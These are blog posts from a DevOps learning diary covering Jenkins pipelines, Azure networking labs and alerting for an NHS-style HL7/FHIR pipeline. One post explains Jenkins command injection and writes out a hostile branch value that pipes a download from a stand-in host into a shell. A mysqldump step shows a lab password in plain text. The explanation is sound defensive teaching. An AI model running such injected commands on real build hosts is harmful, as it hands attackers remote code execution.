It is not a constraint at all. "You can move freely between SKUs as long as the SKU you're switching to has the required maximum storage capacity", and "When you change a registry's SKU, there's no downtime or impact on registry operations." Only the downgrade direction has conditions: geo-replications and connected registries must go before leaving Premium.

Which makes the ACR tier the opposite of nearly every other choice this track has recorded. Blob type is fixed at creation. Hierarchical namespace is a one-way upgrade. A managed disk cannot shrink. An App Service plan's OS and region are fixed when you create it. Choosing Basic commits to nothing, and that is worth knowing precisely because so little else here works that way.

What I learned

Both tasks were configured to run work in one place and ran part of it somewhere else.

The Jenkins one is the more useful finding, because it is invisible and it is load-bearing. Four days of work moving builds onto agents, and the trigger that decides when to build still runs on the controller, every two minutes, forever. The documentation offers the fix in one sentence that is easy to read past: Poll SCM enabled, no schedule required, webhook does the rest.

The Azure one was louder. AuthorizationFailed naming an exact action is about as clear as a cloud error gets, and it told me in one line that the build I intended to delegate had to come home.

And the correction I would not have found without checking: the registry tier I had written off as a commitment is the one thing in this whole track that changes freely, with no downtime, in either direction.

So here is the Day 79 question. In your pipeline, which machine is doing work you believe has been moved somewhere else?

Day 79 down. Twenty-one to go.

Day 78: A Parameter and a Broken Route

Nnamdi Felix Ibe — Wed, 04 Nov 2026 18:00:00 +0000

Day 78 of DevOps, Day 28 of Azure. Both tasks today worked, and in both cases, knowing why they worked mattered more than the fact that they did.

A pipeline took a branch name from whoever triggered the build and interpolated it into a shell command, which is the shape of a security problem. It is safe, because of a quoting rule nobody mentions. And an Azure server served HTTP 200 from outside Azure, over its public IP, and still failed the task.

One Jenkins task, one Azure task. Make a deployment pipeline take the branch as a parameter, then fix a public network nobody could reach. The tasks come from the KodeKloud Engineer platform.

Task 1: A branch as a parameter

The task: a Pipeline job named devops-webapp-job that deploys whichever branch the user names at build time.

Step 1: Notice which branch the server is already on

[sarah@stapp01 html]$ git branch
* feature
  master

The application was serving the feature branch before the job existed. Nobody decided that; it is just where the working copy was left.

Which is the thing this job is for. Not "deploy any branch" as a capability, but "make the deployed branch a decision somebody records" instead of a side effect of the last person who ran a command in that directory.

Step 2: The pipeline

pipeline {
    agent { label 'stapp01' }

    parameters {
        string(name: 'BRANCH', defaultValue: 'master', description: 'Branch to deploy')
    }

    stages {
        stage('Deploy') {
            steps {
                sh '''
                cd /var/www/html
                git fetch origin
                git checkout ${BRANCH}
                git pull origin ${BRANCH}
                '''
            }
        }
    }
}

The parameters directive is documented, unlike its freestyle equivalent on Day 72: it "provides a list of parameters that a user should provide when triggering the Pipeline."

defaultValue: 'master' is the right way round, and worth saying out loud. A job whose default deploys feature is one distracted click from an incident.

And git fetch origin before the checkout is necessary rather than tidy. A branch that exists on the remote and has never been fetched locally cannot be checked out by name, so without it the first deployment of any new branch fails.

Step 3: Run the failing case too

Three builds: master, then feature, then unknown.

That third one is the part of this walkthrough I would keep. Two green builds prove the job can deploy. Only the deliberate failure proves the job fails when asked for a branch that does not exist.

Day 76's backup job was green every ten minutes while backing up nothing at all, and the only difference between that situation and this one is that somebody here checked the failure path.

Step 4: Why this is safe, which is not obvious

Look at what the pipeline does. It takes a string from whoever triggers the build and puts it into a shell command. That is the shape of a command injection.

It is safe, and the reason is the quote characters. ${BRANCH} sits inside sh '''...''', triple single quotes, and single-quoted strings in Groovy do not interpolate. So Jenkins sends the literal text ${BRANCH} to the agent, and the shell expands it as an environment variable.

That the variable exists to expand is documented: a build's parameters are "exported as environment variables when the build starts", referenced from a POSIX shell as ${PARAMETER_NAME}.

And the quoting is Jenkins' documented defence rather than a style choice. The hazard it names is Groovy string interpolation, which "can inject rogue commands into command interpreters via special characters" and "can result in problems analogous to SQL injection". Its example gives a string parameter the default hello; ls / and shows that sh("echo ${STATEMENT}") runs the ls, because Groovy substitutes into the command text before any shell sees it. The fix: "use single quotes to avoid Groovy interpolation".

So had this been written with triple double quotes, a BRANCH value of master; curl evil.example/x | sh would have run that second command on stapp01.

The shell side then holds for Day 72's reason. Bash expands in a fixed order, and "Only brace expansion, word splitting, and filename expansion can increase the number of words." Parameter expansion is not one of those three, so a semicolon arriving inside a value is a character in a word, not a command separator.

Worth flagging now: Day 81, in this same batch, writes the same kind of script with triple double quotes. Two pipelines, three days apart, on opposite sides of the one rule Jenkins documents about this.

What the docs recommend

The quoting makes this safe from injection. It does not make the parameter right.

git checkout ${BRANCH} passes an arbitrary string to git checkout, and git checkout accepts far more than branch names. A commit SHA, a tag, HEAD~5 are all valid. So the parameter's real domain is "any revision in this repository", not "a branch".

That is an operational problem rather than a security one. Deploy a bare commit and the working tree ends up detached from any branch, the following git pull origin ${BRANCH} fails, and the server sits on a revision nobody asked for.

A choice parameter listing the actual branches, as on Day 72, closes both the ambiguity and the free-text box. And "${BRANCH}" in quotes, because an unquoted value with spaces becomes several arguments.

Task 2: Four faults in one network

The task: an nginx server in a public VNet that nobody could reach. Find out why and fix it.

Four separate problems, each enough on its own to make the server unreachable: a user-defined route sending 0.0.0.0/0 to next hop None, a public IP not attached to the NIC, an NSG allowing only port 22, and nginx not installed.

Step 1: The one that failed me

Route table 'devops-rtb' does not have a route to the internet.

My first attempt fixed three of the four correctly and served a working site. There are four ways to deal with a route blackholing all traffic, and I picked the one that works and is not what was asked:

Action	Result	Grader
Delete the route	System default becomes active. Traffic flows.	Fails. The table has no internet route
Repoint it to `Internet`	Explicit `0.0.0.0/0 -> Internet` in the table	Passes
Disassociate the route table	System default applies. Traffic flows.	Fails, and broader
Delete the route table	Same, broader still	Fails, and broadest

The tell I walked straight past: after my delete, the route table contained zero routes and was still attached to the subnet. An empty route table attached to a subnet is pointless configuration. It does nothing and exists for no reason.

That end state should have prompted the obvious question. Why would a lab create a route table, attach it to a subnet, and put exactly one deliberately named route in it? Because the route was the thing to fix. The table was the exercise.

I read the end state as clean because traffic flowed. It was incoherent, and incoherent leftover configuration is a signal that the repair was aimed at the wrong layer.

My scope reasoning was wrong in a specific way too. Day 19's principle is about blast radius, an account-wide switch versus one container. Here the choice was not narrow against wide but absent against present: deleting and repointing touch one route, one table, one subnet, and differ only in the end state, which is exactly what the requirement was about.

Step 2: Working is not correct

The first attempt returned 200 with the nginx page, from outside Azure, over the public IP. The service genuinely worked. The configuration was wrong.

That is the precise inverse of Day 38, where an ECS task reported RUNNING and I failed by trusting the status field instead of testing reachability. The correction from that day was to always finish with an end-to-end check. Here the end-to-end check passed and the configuration was wrong.

Behaviour is not proof of configuration, just as configuration is not proof of behaviour. Both, every time.

A working system resting on a platform default that happens to apply is also fragile in practice. Someone attaching a different route table later breaks it, with nothing in the table to explain what was intended.

Step 3: `Invalid` does not mean broken

Before:  Default Invalid 0.0.0.0/0 Internet   /  User Active 0.0.0.0/0 None
After:   User Active 0.0.0.0/0 Internet       /  Default Invalid 0.0.0.0/0 Internet

The system route is marked Invalid in both cases. It is invalid because a user-defined route covers the same prefix, full stop, and it says nothing about whether traffic flows.

So my original reading was imprecise. Invalid was a consequence of a UDR existing, not the fault. The fault was that UDR's next hop was None. Read the row that is Active for the prefix and check its next hop, rather than looking for the absence of Invalid.

az network nic show-effective-route-table is still the first call in any Azure connectivity problem, because it shows what the NIC will actually do after Azure resolves precedence between system, user-defined and BGP routes. Reading the route table resource alone tells you a route exists, not whether it wins.

What the docs recommend

My note ended with a confident claim that has since stopped being true. I wrote that because Azure injects a system route and needs no gateway resource, "there is exactly one way to break it: override that system route with a UDR."

There are two now, and the second is becoming the default. Microsoft's page on the default outbound access change addresses this exact fix: "In configurations using User Defined Routes (UDRs), any configured routes with next hop type Internet break in a Private subnet."

So the route I created to pass this task is a route that stops working in a private subnet, and subnets in new virtual networks now default to private. Correct for the grader, correct for this VNet, and not a durable pattern.

The deeper mistake was conflating two layers. A system route decides where a packet is sent. Default outbound access decides what source address it carries: Azure "automatically assigns it an outbound public IP address", one that "is owned by Microsoft and can change without notice". Routing and source-address translation are different mechanisms, and "the VNet has internet access by default" is a claim about both at once.

Which is exactly why a UDR pointing at Internet breaks in a private subnet while looking perfectly correct in the route table. The route sends the packet out. Nothing gives it a public source address to be answered at.

Two details from the same page that would have saved me diagnostic time: "Default outbound access IPs don't support fragmented packets", and "don't support ICMP pings." A VM with no public IP that cannot ping out is behaving as documented, not broken.

One last thing, on fix order. A route table governs traffic leaving a subnet, so it is tempting to think a broken egress route only affects outbound connections. It does not: an inbound TCP connection needs its replies routed out, and replies are egress. More immediately, apt-get could not reach the mirrors, so the route had to be fixed before nginx could be installed at all. Install nginx first, and you get a package-resolution error that looks like a repository or DNS problem and says nothing about routing.

When faults are dependent, fixing them out of order produces misleading errors for the ones that are not broken. Sweep for all of them before changing anything.

What I learned

Two things that worked, for reasons that were not visible in them.

The pipeline is safe from command injection, and nothing in the pipeline says so. The safety is in the choice of ''' over """, three characters that look like formatting. Change them and the job becomes a remote shell for anyone who can trigger a build. I would not have known that from reading the script, and Day 81 shows the same author reaching for the other quote by default.

The Azure repair was wrong while serving a working site, and I called it clean because traffic flowed. The thing I should have noticed was the leftover: an empty route table attached to a subnet, which no one would configure deliberately. Function told me nothing. Coherence would have told me everything.

So here is the Day 78 question. The last thing you fixed that worked afterwards: do you know it was correct, or do you know it stopped failing?

Day 78 down. Twenty-two to go.

Part 4: The Alert That Could Never Fire

Nnamdi Felix Ibe — Wed, 04 Nov 2026 06:20:32 +0000

Since the first week of this project, observability/prometheus/alerts.yml has contained this:

- alert: PDSCircuitOpen
  expr: pybreaker_state{name="pds"} == 1

It is a correct rule. The circuit breaker in front of the Personal Demographics Service opens after five consecutive failures, the pipeline carries on with the demographics from the message, and somebody should be told.

No service has ever exported pybreaker_state. The rule has been watching a series that does not exist, which looks exactly like a healthy system.

The problem

Monitoring has a particular failure mode: you cannot tell the difference between nothing being wrong and nothing being watched. A dashboard with no red on it means one of those two things, and it does not say which.

In this pipeline, that matters more than usual, because the failures I care about mostly return 200. A patient written without an NHS number to match on is a successful request. A date of birth that failed to parse is a successful request. The breaker opening and the pipeline silently dropping to unenriched demographics is a whole shift of successful requests.

So this week I went looking for the things the pipeline does that nobody would ever find out about.

What the pipeline could not see

The breaker opens, and nothing says so

I started the transform service, sent a message, and scraped /metrics. Twenty-eight metric families, and pybreaker_state is not among them. Nothing with breaker or circuit in the name at all.

Then I drove the breaker open, which takes five failures:

breaker before      : closed | failures: 0
breaker after       : open   | failures: 5
pybreaker_state now : False

The breaker is open. The pipeline has stopped enriching. The alert cannot fire, and there is no other signal anywhere.

pybreaker makes this easy to fix. It has a CircuitBreakerListener with a state_change hook, which is called on every transition, so there is nothing to poll:

class _BreakerStateExporter(pybreaker.CircuitBreakerListener):
    def state_change(self, cb, old_state, new_state) -> None:
        BREAKER_STATE.labels(name=cb.name).set(
            _BREAKER_STATE_VALUES.get(getattr(new_state, "name", None), 0)
        )

That getattr(new_state, "name", None) is the second version. My first read new_state.state, which does not exist in pybreaker 1.2.0. The state objects carry a name instead, holding the string closed, open or half-open.

The failure mode of getting that wrong is the thing this whole article is about. getattr with a default does not raise. The lookup misses, falls back to 0, and the gauge sits there reading closed while the breaker is open. I would have shipped a fix for an unfireable alert that left it unfireable, and the metric would have existed, which is worse, because now the dashboard has a panel on it.

The test caught it.

Fields that fail to map leave no trace

Part 3 was about nine mapping defects. The reason all nine survived is in this article: only a whole-message parse failure goes to the dead-letter folder. A single field that fails to map is simply absent from the resource, and the message returns 200.

I sent a message with an unparseable date of birth:

message with an unparseable date of birth -> HTTP 200
birthDate in the resource : False
hl7_dlq_total moved?      : no
any metric for a lost field: none

The mapper now reports what it dropped, and transform turns that into
hl7_field_dropped_total{segment,field,reason}. The mapper itself stays free of Prometheus imports: it reports, the service counts. Known gaps like PID-11 and PV1-19 come through as not_mapped, so they are visible without being alarming, and unparseable_date is the one with an alert on it.

Alert rules are code that only runs during an incident

Which is the actual reason this sat here for weeks. Nothing in the build ever executed that rule.

Prometheus ships a unit test framework for alerting rules, and it took about twenty minutes to use. You give it synthetic series and assert which alerts fire and when:

- interval: 1m
  name: PDSCircuitOpen fires once the breaker is open
  input_series:
    - series: 'pybreaker_state{name="pds"}'
      values: "0x5 1x10"
  alert_rule_test:
    - eval_time: 4m
      alertname: PDSCircuitOpen
      exp_alerts: []
    - eval_time: 9m
      alertname: PDSCircuitOpen
      exp_alerts:
        - exp_labels: { severity: warning, team: interop, name: pds }

There are nine cases now. The one I would keep if I could only keep one is this:

- name: with no series exported the rule is silent, which was the bug
  input_series:
    - series: 'up{job="transform"}'
      values: "1x20"
  alert_rule_test:
    - eval_time: 15m
      alertname: PDSCircuitOpen
      exp_alerts: []

That is the repo as it actually stood. The rule is right, there is nothing for it to read, and the test documents that this is indistinguishable from health.

promtool check rules and promtool test rules now run as a CI job, so the rules are exercised on every pull request rather than during the first outage.

Watching it fire, rather than trusting the test

A promtool test proves the expression is right. It does not prove the pipeline produces the series under real conditions, so the last step was to break the thing on purpose:

make break-pds

That stops pds-client, sends eight messages two seconds apart, and prints the gauge after each one. Every message returns 200 throughout, which is the whole point: enrichment has stopped, the stored demographics are now whatever arrived in the message, and the front door is reporting success.

The first time I ran it against the real stack, the gauge read 0 after all eight messages. The breaker never opened.

The fix that still could not fire

The unit test for the gauge passed because it drove the breaker with an
ordinary function. The real PDS call is async, and I had wrapped it with pybreaker's decorator:

@pds_breaker
async def _call() -> dict | None:
    ...

pybreaker's only async support is for Tornado, and its README does not mention asyncio at all. On an async def function, the decorator calls it, gets a coroutine object back, and records a success. The request fails later, when the coroutine is awaited, outside the breaker. The running service had logged 16 PDS failures, and the breaker had counted none of them.

The fix is pybreaker's calling() context manager, which wraps the awaited block itself:

async def _call() -> dict | None:
    with pds_breaker.calling(), PDS_LATENCY.labels(outcome="success").time():
        resp = await http.get(...)

There is now a test that goes through the real async path with PDS failing. It fails against the old code.

It's the same shape as the getattr bug, one layer further down. The rule was right, the gauge was right, the listener was right, and the breaker they all depended on was never told anything had gone wrong. Every layer had a test and every test passed.

With the fix in, the breaker opens on the fifth message, and PDSCircuitOpen goes to Firing once the rule's two minutes have passed.

I had also worried that for: 2m could never be satisfied, because the
breaker's reset_timeout is 30 seconds and I expected the state to bounce between open and half-open. My first check of that went through the same synchronous test path, so it measured nothing real. In the running stack, the gauge held flat at 1 for twelve minutes, until I brought PDS back. pybreaker only moves to half-open when a call arrives after the timeout, and that trial call closes or reopens it in the same moment, so a ten-second scrape never sees it.

There is a second script for the other failure path, and writing it corrected something in my own plan for this article. The plan said to "stop the transform service mid-burst and show the DLQ". That does not work. The dead-letter folder is written by transform, so stopping transform means nothing writes to it at all: ingest logs the failure and answers 200 with forwarded: false. To fill the dead-letter folder you have to break what transform writes to, which is HAPI FHIR. make break-fhir does that.

Its first real run found one more. Every dead-letter write failed with
PermissionError. The service runs as an unprivileged user, and the Docker volume mounted over its dead-letter folder belonged to root, because the image never created that folder. So the messages the folder exists to keep were the ones being lost. The image now creates the folder, owned by the service user, and Docker copies it into a new volume when the volume is first created.

The panels, which I nearly forgot

Four new metrics and, for most of a day, no way to see any of them. The Grafana dashboard had six panels, and not one showed the breaker state, the dropped fields, the invalid NHS numbers or the write identity.

That is a fairly pointed thing to nearly ship in an article about not being able to see things. The series existed, and the alerts worked, and the place people actually look had not changed at all. There are ten panels now.

The one a reader found

Kevin Mayfield, who does health integration and data architecture for a living, read Part 3 and pointed out something I had not considered at all.

I had just shipped a fix that keys patient identity on the NHS number, as a conditional update. He pointed out that his trust is near the Scottish border, and that a Scottish CHI number sometimes arrives in the NHS Number field. More than that: a patient's NHS number can change when they move between the Scottish and English NHS.

Which means the identity key I had just built the whole write path around is not stable.

I tested it. Same patient, same hospital number, two messages with different NHS numbers:

message 1 request : PUT Patient?identifier=...nhs-number|1111111111
message 2 request : PUT Patient?identifier=...nhs-number|9000000009
same target?      : False
local MRN in both : L12345, L12345

Two records. The hospital number is identical in both messages and is simply not looked at. Nothing counts it, nothing alerts on it, and the FHIR server returns 200 twice.

That led somewhere I should have gone in Part 3. If the NHS number is the identity key, is it ever validated?

9000000009   checksum valid: True   accepted: True
1111111111   checksum valid: True   accepted: True
1234567890   checksum valid: False  accepted: True

No. An NHS number carries a Modulus 11 check digit, and the NHS Data Dictionary is unambiguous about it: "The check digit is validated using the Modulus 11 algorithm, and the use of this algorithm is mandatory." Multiply the first nine digits by 10 down to 2, sum, take the remainder modulo 11, and subtract from 11. A result of 11 means a check digit of 0, and "If the result is 10 then the NHS NUMBER is invalid and not used".

I was not running it. 1234567890 was being accepted as an NHS number and used to match a patient.

This is also a partial answer to Kevin's CHI point, which is why it is worth doing beyond tidiness. A CHI number is also ten digits, and it will not satisfy the NHS check digit. So a sending system supplying CHI numbers in the NHS Number field now shows up as a rate on nhs_number_invalid_total rather than as silently mismatched patients.

An identifier that fails the check is still kept on the resource, because the sender sent it and dropping it loses information. It is just never used to look a patient up or to match an existing record. A wrong identity is worse than no identity.

Writes with nothing to match on are now counted as patient_write_total{identity="none"}, and there is an alert when that passes a tenth of writes.

What none of this catches

The thing Kevin actually described is not a metric problem.

Counting writes with no identity tells you when matching is degrading. It does not tell you that the same person has arrived twice under two different NHS numbers, because from inside a single message that looks completely normal. Both messages are valid, both have good check digits, both write successfully.

Catching that needs a matching step, which is what he does:

I have a scoring system based on identifier, date of birth, gender, name and postcode. I weight MRN and NHS the highest, then DOB.

A demographic query first, then a weighted score across several fields, rather than trusting one identifier. He also raised the fetus and baby case, where a newborn may not have its own NHS number yet, which breaks identifier-first matching in a different direction.

That is a substantial piece of work, and it is not in this week's change. What this week does is make the conditions that feed it visible, so when the matching goes in there is something to measure it against.

Worth stealing

Test your alert rules. They are the only code in the repo that runs exclusively during an incident, which makes them the least exercised and the most load-bearing. promtool test rules exists and takes an afternoon to adopt.

Assert the series exists, not just that the rule is right. My rule was correct the whole time. The failure was one level below it, and no amount of reviewing the expression would have found it.

Watch for silent fallbacks in monitoring code: getattr with a default, or a synchronous decorator around an async function. Both fail by doing nothing, in the thing that is supposed to tell you about silent failures. My gauge read zero for the same reason the alert read quiet.

Count the successes you are unsure about. Error rates are the easy half. patient_write_total{identity="none"} counts requests that returned 200 and did something I would rather they had not.

Export the metric and add the panel in the same change. I had the series, the alert and the rule test before I noticed the dashboard still showed the same six panels it had in week one. A metric nobody has a graph for is halfway back to where this started.

Where AI helps here, and where it doesn't

I built this project with Claude Code. This week I had it write the metrics, the promtool tests and the break scripts, then made it prove each one against the running stack, not the code.

Writing the listener, the metrics and the promtool cases was quick. The useful part was the step before: starting the service, scraping /metrics and reading the list of what was actually there, rather than reading the alert file and the service code and believing they lined up. They had not lined up for weeks, and both halves looked correct on their own.

It also wrote the async decorator bug, and the first timing check that went through the same synchronous path. Both were caught the same way, by running the real stack and reading what it did.

Four weeks in, the pattern is stable enough to state plainly. Every finding in this series has come from running the thing, and the two most valuable have come from people who read it and knew more than I did about the domain. Neither of those is a code review.

What I'd do differently

I would have written the alert rule tests at the same time as the alert rules, in the first week. Not because the rules were wrong, but because writing the test is what forces you to produce the series, and producing the series is what I had skipped.

I would also have written the break scripts first. make break-pds is about thirty lines, and it is the only thing here that tests the whole chain, from a stopped container through to a rule evaluating in Prometheus. Everything else in this article tests one layer and assumes the next one. I would also have run it before tagging this part, not after.

And I would have remembered that fixing the code does not fix the data it already wrote. The demo database held 996 copies of the same test patient from before Part 3's conditional update. The conditional update then refused, correctly, to pick one, with the 412 the FHIR spec requires. I reset the demo database. A trust can't, and that is where the matching work Kevin described begins.

Sources

Part 5, on 11 November, is security and compliance, which has a backlog of its own: two documents in this repo describe a DataClass tag applied by a Terraform block that is commented out.

Which of your alert rules has never fired, and do you know whether that is good news?

This is a personal project. It is not affiliated with or endorsed by NHS England or any NHS organisation. It uses the public PDS FHIR sandbox and synthetic test data only. Views are my own.

Day 77: A Pipeline and a Private Subnet

Nnamdi Felix Ibe — Mon, 02 Nov 2026 18:00:00 +0000

Day 77 of DevOps, Day 27 of Azure. Both tasks today were about a path that exists until it doesn't.

A two-line shell script deployed an application and quietly depended on three things nobody had checked. And an Azure VM built with no public IP turned out to be the exact configuration that the platform is in the middle of changing underneath.

One Jenkins task, one Azure task. Write a first declarative pipeline, then build a VM reachable only from inside its own network. The tasks come from the KodeKloud Engineer platform.

Task 1: A first declarative pipeline

The task: a Pipeline job named datacenter-webapp-job that pulls the latest code from master onto stapp01.

Step 1: The agent and a stale instruction

Plugins:  SSH Build Agents, Pipeline
Agent:    App Server 1, label stapp01, remote root /home/sarah/jenkins_agent

In every Jenkins task in this batch, I had to install Java 17 on the node, "as Jenkins (or its remoting agent) is compiled for Java 17".

The shape of that is right, and the version is two baselines stale. Jenkins' Java requirement is a project decision with dates on it, not a property of a Java release. It became 17 at the 2.463 weekly release in June 2024, covering "agent JVMs (i.e., JVMs running remoting.jar)" explicitly. And it has moved again since: "Beginning with Jenkins 2.555.1, Jenkins requires Java 21 or Java 25 on both the controller JVM and agent JVMs", with the Java 17 images retired.

So Java 17 is correct for this lab, which runs 2.541.3, the last LTS supporting it. As a general rule, it is already out of date. Match the controller's requirement, and upgrade the controller and agents together.

Day 75 covered what this prevents, and my notes undersell it by framing it as a compilation detail: "Running a Java 11 agent with a Java 17 controller produces an UnsupportedClassVersionError." The agent does not start at all.

Step 2: The pipeline

pipeline {
    agent { label 'stapp01' }

    stages {
        stage('Deploy') {
            steps {
                sh '''
                cd /var/www/html
                git pull origin master
                '''
            }
        }
    }
}

agent { label 'stapp01' } is documented plainly: it will "Execute the Pipeline, or stage, on an agent available in the Jenkins environment with the provided label." Label expressions work too, so 'my-label1 && my-label2' is valid once more than one agent shares labels.

The thing worth noticing is that the job names a label, not a machine. That is the payoff from Day 75's agent work: pointing this deployment at a different server is a label change, not a job rewrite.

And the sh '''...''' uses triple single quotes. Nothing in this script references a variable, so today it makes no difference whatsoever. Tomorrow it makes a large one.

What the docs recommend

Two lines of shell, and three assumptions underneath them.

That /var/www/html is already a git working copy with an origin remote. On a fresh server, it is a document root and nothing else, and git pull there fails with a message about not being a git repository, which reads like a path typo.

That the agent's user can write to it, this pipeline runs as sarah, and it works only if sarah owns the directory or has write access. Worth watching across this batch, because three days answer this one question three different ways: today leaves it implicit, Day 79 checks the ownership explicitly, and Day 80 reaches for sudo with a password in the build step.

That a pull is the right operation at all. This is the one I would change. git pull merges. A local edit in the document root produces a merge instead of a deployment, and a conflict leaves the web root half-merged with conflict markers in the files Apache is serving.

git fetch origin
git reset --hard origin/master

That is the deployment-shaped operation, because it makes the working tree match the remote regardless of what was there before. A deployment should not care about local state. A pull does, by design.

Task 2: A VM reachable only from inside

The task: Day 26 inverted. Same resource shapes, opposite reachability, with SSH permitted only from the VNet's own CIDR block.

Step 1: One flag decides the whole task

--nsg-rule NONE

--nsg-rule accepts {NONE, RDP, SSH}, and for a Linux VM it defaults to SSH, which creates default-allow-ssh with source *. That permits SSH from anywhere on the internet, which is the direct opposite of what this task asks for.

Day 26 left the default in place and was right to. Same command, opposite requirement, one flag, and it is easy not to think about precisely because it is the default.

So the verification has to list everything:

Name            Pri   Dir      Access  Proto  Src          Dst          Port
Allow-SSH-VNet  100   Inbound  Allow   Tcp    10.0.0.0/16  10.0.0.0/16  22

One row. A default-allow-ssh row sitting next to it would mean the VM was internet-reachable while every other check still looked fine, and the NSG would read as "scoped to the VNet" at a glance.

When the requirement is about what is not permitted, confirming the rule you added proves nothing. You have to enumerate what exists.

Step 2: Two layers, and only one of them is about inbound

"PubIP": "",  "PrivIP": "10.0.1.4"

--public-ip-address "" means no internet-routable address, so there is no inbound path. The NSG then restricts source even inside the VNet. Either alone would do it; both together survive a single mistake, because adding a public IP later would not open SSH and loosening the NSG would not either.

That much I had. What I had missed is that the absence of a public IP is also the condition that a platform change is now acting on, and it affects what this VM can do rather than what can reach it.

Step 3: This is the VM that loses its way out

How does a VM with no public IP reach the package mirrors at all? Microsoft: "when you deploy a virtual machine (VM) in a virtual network without an explicitly defined outbound connectivity method, Azure automatically assigns it an outbound public IP address."

That address is not yours. "This IP, known as the default outbound access IP, is owned by Microsoft and can change without notice", and "default outbound connectivity relies on an implicit platform behaviour and may be affected by platform-level changes."

And it is going away for new subnets. "Creating a subnet to be Private prevents any virtual machines on the subnet from utilising default outbound access to connect to public endpoints." Day 76 recorded the date, which has passed: subnets in new virtual networks now default to defaultOutboundAccess set to false.

So a VM built to exactly this specification, in a new virtual network today, has no inbound path and no outbound path.

The four explicit outbound methods are a NAT gateway on the subnet, an outbound-rule load balancer, a Standard public IP on the NIC, and a firewall or appliance behind a user-defined route. Day 26's VM had the third one by accident: the public IP that made it reachable also made its egress explicit. This VM has none of them, and a NAT gateway is the documented recommendation for most scenarios.

Two exceptions stop a private VM from being completely cut off, and they are worth knowing in opposite directions. "Virtual machines are still able to access Azure Storage accounts in the same region in a private subnet without an explicit method of outbound." But "Certain services don't function on a virtual machine in a private subnet without an explicit method of egress (examples are Windows Activation and Windows Updates)."

Microsoft's stated reasons read as an argument rather than a deprecation notice: "Security: Default internet access contradicts Zero Trust principles. Clarity: Explicit connectivity is preferred over implicit access. Stability: The default outbound IP isn't customer-owned and can change."

What the docs recommend

The enforcement here is entirely outside the VM, and it is worth being precise about that, because "SSH accessible from within the VNet only" sounds like host configuration and is not:

LISTEN 0 128 0.0.0.0:22  users:(("sshd",pid=861,fd=3))

sshd is bound to 0.0.0.0, accepting from any address. Nothing in the guest narrows it. Which means an NSG change takes effect immediately with no reboot, and also that an NSG mistake has no backstop: there is no firewall rule or ListenAddress on the host to catch it.

One more thing I did not do, and would rather say than imply. The task says SSH should work from inside the VNet, and I never tested that, because there is no second VM in the VNet to connect from. What I established is that sshd is listening, the NSG permits 22 from 10.0.0.0/16, no other inbound rule exists, and there is no public IP. That makes the conclusion sound, and it is an inference.

The documented way to actually test it is Azure Bastion, which deploys into an AzureBastionSubnet and brokers SSH without putting a public IP on the target. Given Day 38 failed precisely by treating configuration as proof of behaviour, the distinction is worth keeping visible.

What I learned

Both halves were about a path that works until something stops holding it up.

The pipeline deploys correctly, right now, on a server where someone previously made /var/www/html a git working copy and gave sarah write access to it. None of that is in the pipeline. The job is two lines, and the configuration it depends on is somewhere else entirely, undocumented, and discovered only when it is missing.

The Azure VM reaches the internet, right now, through an address Microsoft owns and assigned implicitly because the VM had no other way out. That is being retired, with a date that has already passed for new networks, and Microsoft's own first reason is that implicit internet access contradicts Zero Trust. The VM is not misconfigured. The thing it was resting on is being removed.

So here is the Day 77 question. What does your deployment job assume about the server it deploys to that the job itself does not say?

Day 77 down. Twenty-three to go.

Day 76: A Backup of Nothing and a Retiring Default

Nnamdi Felix Ibe — Sun, 01 Nov 2026 09:00:00 +0000

Day 76 of DevOps, Day 26 of Azure. Both tasks today went green, and both were quietly resting on something that will not hold.

A database backup job ran on schedule, produced a file, copied it across two machines, and backed up no tables at all. And an Azure network behaviour I had written in my notes as how Azure works turned out to be a platform default that Microsoft is in the middle of retiring.

One Jenkins task, one Azure task. Schedule a database backup across three servers, then put a VM in a purpose-built virtual network. The tasks come from the KodeKloud Engineer platform.

Task 1: A database backup on a ten-minute schedule

The task: a job named database-backup that dumps a database on stapp01 every ten minutes and copies the dump to the storage server.

Step 1: Two hops, two keys

Three machines are involved, and the Jenkins controller never touches the storage server directly. So each hop needs its own key, belonging to the account that opens it.

jenkins@jenkins:~$ ssh-keygen -t rsa -b 4096
Created directory '/var/lib/jenkins/.ssh'.
jenkins@jenkins:~$ ssh-copy-id tony@stapp01

jenkins@jenkins:~$ ssh tony@stapp01
[tony@stapp01 ~]$ ssh-keygen -t rsa -b 4096
[tony@stapp01 ~]$ ssh-copy-id natasha@ststor01

The second key had to be generated as tony, because tony@stapp01 is where the first hop lands and therefore the account that makes the second call. One key cannot do both hops.

This is the chain Day 74 could not account for: there, the transcript showed the second hop keyed and never showed the first, and the build still went green. Here both are on the record.

One detail on the second hop worth noticing:

The authenticity of host 'ststor01 (10.244.240.154)' can't be established.
ED25519 key fingerprint is SHA256:yEyN8qvzhNxfcKVE+H05zwQPmQMKCXj4JyGWuOP1HIg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

That prompt is exactly what Day 75's agents switched off with their non-verifying host key strategy. Answered once interactively, recorded, done.

Step 2: The build step, and one thing it gets right

ssh tony@stapp01 "
  mysqldump -u kodekloud_roy -pasdfgdsd kodekloud_db01 > /tmp/db_\$(date +%F).sql &&
  scp /tmp/db_\$(date +%F).sql natasha@ststor01:/home/natasha/db_backups/
"

The && is inside the quotes, which is Day 71's bug written correctly. There, ssh host cmd1 && cmd2 split in the local shell and only the first half ever reached the remote machine. Here the whole conditional is one argument to ssh, so the scp runs on stapp01 and only if the dump succeeded.

The escaping is right too, and for a reason my notes got slightly wrong. I had written that the backslash makes the filename come out in the right format. What it actually does is choose whose clock names the file: \$ stops the local shell expanding the substitution, so the literal text is sent and date runs on stapp01.

Which is the exact inverse of Day 71, where "$PACKAGE" had to expand locally because the Jenkins parameter only exists on the Jenkins side. Same mechanism, opposite intent. Escape it to evaluate remotely, leave it bare to evaluate locally, and know which one you mean.

Step 3: The job works. The backup does not.

The file arrived on both machines and the build went green. Then I read it:

-- MariaDB dump 10.19  Distrib 10.5.29-MariaDB, for Linux (x86_64)
--
-- Host: localhost    Database: kodekloud_db01
-- ------------------------------------------------------
-- Server version       10.5.29-MariaDB

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
...
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
...
-- Dump completed on 2026-04-14  7:02:52

A header, session settings, the restore of those session settings, and a completion line. No CREATE TABLE. No INSERT. Nothing whatsoever between the opening SET block and the closing one.

So kodekloud_db01 either has no tables, or kodekloud_roy cannot see the ones it has. Either way this job backs up zero rows, successfully, every ten minutes, and produces a plausible-looking file while doing it.

